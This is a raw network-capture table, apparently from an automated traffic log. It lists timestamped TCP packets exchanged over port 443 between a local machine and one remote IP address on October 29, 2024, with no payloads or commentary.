Oct 29, 2024 10:47:12.066066027 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.134984016 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.135056973 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.135098934 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.135144949 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.135212898 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.135265112 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.135349035 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.135401964 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.135459900 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.135549068 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.135597944 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.135612011 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.135723114 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.135730028 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.135795116 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.135842085 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.135849953 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.135900974 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.135909081 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.135967016 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.136013031 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.136022091 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.136054039 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.136068106 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.136077881 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.136118889 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.136339903 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.136394024 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.136445045 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.136487961 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.136535883 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.136578083 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.136629105 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.136734009 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.136996031 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.137006044 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.137257099 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.137307882 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.137315989 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.137358904 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.137414932 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.137423038 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.137504101 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.137511969 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.137527943 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.137590885 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.137598991 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.137629986 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.137718916 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.137778997 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.137788057 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.137835979 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.137882948 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.137891054 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.137931108 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.138324976 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.138381004 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.138420105 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.138480902 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.138504028 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.138556957 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.139189959 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.139254093 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.139389038 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.139455080 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.140161991 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.140237093 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.140340090 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.140397072 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.140455008 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.140517950 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.141207933 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.141257048 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.141350031 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.141410112 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.141455889 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.141525984 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.144603014 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.178944111 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.179013014 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.250361919 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.250483036 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.250519037 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.250546932 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.250567913 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.250639915 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.250685930 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.250694990 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.250781059 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.250809908 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.250828028 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.250844955 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.250860929 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.250900984 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.251077890 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.251116991 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.251137972 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.251144886 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.251161098 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.251302958 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.251440048 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.251488924 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.251502991 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.251513004 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.251528978 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.251540899 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.255898952 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.255943060 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.255958080 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.255968094 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.255997896 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.256010056 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.256517887 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.256562948 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.256582975 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.256591082 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.256608963 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.256623983 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.256700993 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.256742954 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.256766081 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.256772995 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.256787062 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.256814003 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.257085085 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.257127047 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.257145882 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.257153988 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.257181883 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.257302046 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.257345915 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.257416010 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.257446051 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.257505894 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.258086920 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.258127928 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.258147955 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.258156061 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.258184910 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.258194923 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.258296967 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.258336067 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.258362055 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.258369923 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.258397102 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.258434057 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.258656979 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.258696079 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.258708000 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.258724928 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.258743048 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.258781910 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.258924961 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.258987904 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.259012938 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.259071112 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.259144068 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.259183884 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.259263039 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.259263039 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.259273052 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.259311914 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.294096947 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.294141054 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.294166088 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.294169903 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.294184923 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.294202089 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.294231892 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.334870100 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.365709066 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.365771055 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.365884066 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.365937948 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.366070986 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.366113901 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.366123915 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.366137028 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.366159916 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.366168976 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.366168976 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.366182089 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.366206884 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.366233110 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.366238117 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.366250038 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.366276979 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.366287947 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.366333008 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.366378069 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.366415977 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.366430044 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.366437912 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.366525888 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.366578102 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.366586924 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.366875887 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.366897106 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.366930008 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.366938114 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.366950989 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.366978884 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.367023945 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.367054939 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.367080927 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.367088079 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.367110968 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.367121935 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.367279053 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.367341042 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.367400885 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.367465973 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.367474079 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.367513895 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.367675066 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.367702007 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.367727041 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.367734909 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.367788076 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.367815971 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.367825031 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.367841005 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.367851973 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.367865086 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.368025064 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.368052959 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.368062973 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.368073940 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.368083000 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.368099928 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.368122101 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.368125916 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.368134975 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.368175983 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.368654966 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.368669987 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.368736029 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.368745089 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.368983030 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.369003057 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.369035959 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.369044065 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.369071960 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.369092941 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.369098902 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.369240046 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.369270086 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.369297981 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.369306087 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.369319916 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.369441032 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.369456053 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.369482040 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.369489908 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.369512081 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.369515896 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.369565964 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.369573116 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.369600058 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.369613886 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.369648933 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.369657040 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.369672060 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.369733095 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.369779110 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.369787931 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.369863987 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.369919062 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.369926929 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.369961977 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.369987011 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.370007992 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.370017052 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.370263100 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.370430946 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.370445967 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.370490074 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.370491982 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.370498896 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.370537996 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.370539904 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.370548964 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.370587111 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.370590925 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.370599985 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.370628119 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.370668888 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.370697021 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.370714903 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.370723009 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.370749950 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.370835066 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.370867968 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.370889902 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.370898962 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.370912075 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.370954990 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.370965004 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.371001005 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.371162891 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.371181965 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.371212959 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.371222019 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.371248960 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.371259928 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.371433973 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.371469975 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.371489048 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.371495962 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.371522903 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.371534109 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.371686935 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.371718884 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.371737003 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.371743917 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.371776104 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.389452934 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.480865955 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.480914116 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.480952024 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.480974913 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.480990887 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.481012106 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.481019020 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.481079102 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.481097937 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.481125116 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.481168985 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.481328964 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.481376886 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.481384993 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.481424093 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.481465101 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.481477022 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.481487036 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.481514931 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.481687069 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.481734037 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.481745005 CET	49756	443	192.168.2.4	104.21.57.143
